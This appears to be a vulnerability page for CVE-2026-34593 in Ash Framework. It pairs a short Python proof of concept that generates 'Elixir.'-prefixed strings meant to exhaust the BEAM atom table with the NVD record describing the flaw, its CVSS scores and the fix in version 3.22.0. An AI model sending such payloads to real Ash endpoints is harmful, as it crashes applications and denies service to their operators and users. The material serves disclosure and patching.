CVE-2026-34593

# PoC for CVE-2026-34593 (Ash Framework Atom Exhaustion) # This demonstrates generating a payload to create a unique atom. import random import string def generate_malicious_payload(): # Generate a random suffix to ensure uniqueness suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) # The payload must start with 'Elixir.' to trigger Module.concat payload = f'Elixir.Atom{suffix}' return payload # Simulated usage if __name__ == "__main__": for i in range(10): print(f'Payload {i}: {generate_malicious_payload()}') print("Send these payloads to a vulnerable Ash Framework endpoint accepting a :module type argument.")

{"cve": {"id": "CVE-2026-34593", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:31.360", "lastModified": "2026-04-13T18:37:04.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ash Framework is a declarative, extensible framework for building Elixir applications. Prior to version 3.22.0, Ash.Type.Module.cast_input/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with \"Elixir.\", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application. This issue has been patched in version 3.22.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ash-hq:ash_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.22.0", "matchCriteriaId": "70F867C8-E383-485D-974F-4D2920134DE1"}]}]}], "references": [{"url": "https://github.com/ash-project/ash/releases/tag/v3.22.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/ash-project/ash/security/advisories/GHSA-jjf9-w5vj-r6vp", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/ash-project/ash/security/advisories/GHSA-jjf9-w5vj-r6vp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}